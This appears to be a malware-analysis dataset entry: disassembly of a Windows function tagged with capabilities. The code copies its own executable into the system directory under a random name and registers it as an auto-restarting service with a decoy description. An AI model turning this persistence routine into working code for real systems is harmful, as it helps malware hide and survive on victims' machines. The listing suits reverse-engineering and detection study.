Function at 0x4038fc
Capabilities:
Copy file
Create service
Get common file path
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405218
push 0x404070
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3a4
push ebx
push esi
push edi
mov edi, 0x104
push edi
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0x10
test eax, eax
je 0x403a3f
push 0x1a
call fcn.00401000
pop ecx
push 0x61
pop ebx
add eax, ebx
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, ebx
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, ebx
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, ebx
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, ebx
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, ebx
push eax
push 0x1a
call fcn.00401000
pop ecx
add eax, ebx
push eax
push str._c_c_c_c_c_c_c.exe
lea eax, [ebp - 0x380]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x4072ac
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x380]
push eax
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x34
push esi
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push edi
push esi
lea eax, [ebp - 0x328]
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x328]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push 1
pop ebx
mov dword [0x40742c], ebx
jmp 0x403a42
push 1
pop ebx
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x330], esi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x32c], edi
cmp edi, esi
je 0x403bf9
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x328]
push eax
push esi
push 2
push 0x10
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x330], eax
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x384], str.Windows_Test_My_Server_Version_4.0
lea eax, [ebp - 0x384]
push eax
push ebx
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x3b4], esi
xor eax, eax
lea edi, [ebp - 0x3b0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x3b0], esi
mov dword [ebp - 0x3b4], 0x15180
mov dword [ebp - 0x398], 0x1b58
mov dword [ebp - 0x39c], ebx
mov dword [ebp - 0x390], esi
mov dword [ebp - 0x394], ebx
mov dword [ebp - 0x388], esi
mov dword [ebp - 0x38c], ebx
mov dword [ebp - 0x3a8], 3
lea eax, [ebp - 0x39c]
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3ac], esi
lea eax, [ebp - 0x3b4]
push eax
push 2
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push dword [ebp - 0x3a0]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x330], esi
jne 0x403b8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x403b8b
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x330], eax
cmp eax, esi
je 0x403bf9
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
push esi
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x403bf9
push str.SYSTEMCurrentControlSetServices_
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x11c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push ebx
push esi
push str.Description
push dword [ebp - 0x224]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or dword [ebp - 4], 0xffffffff
call fcn.00403c13
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret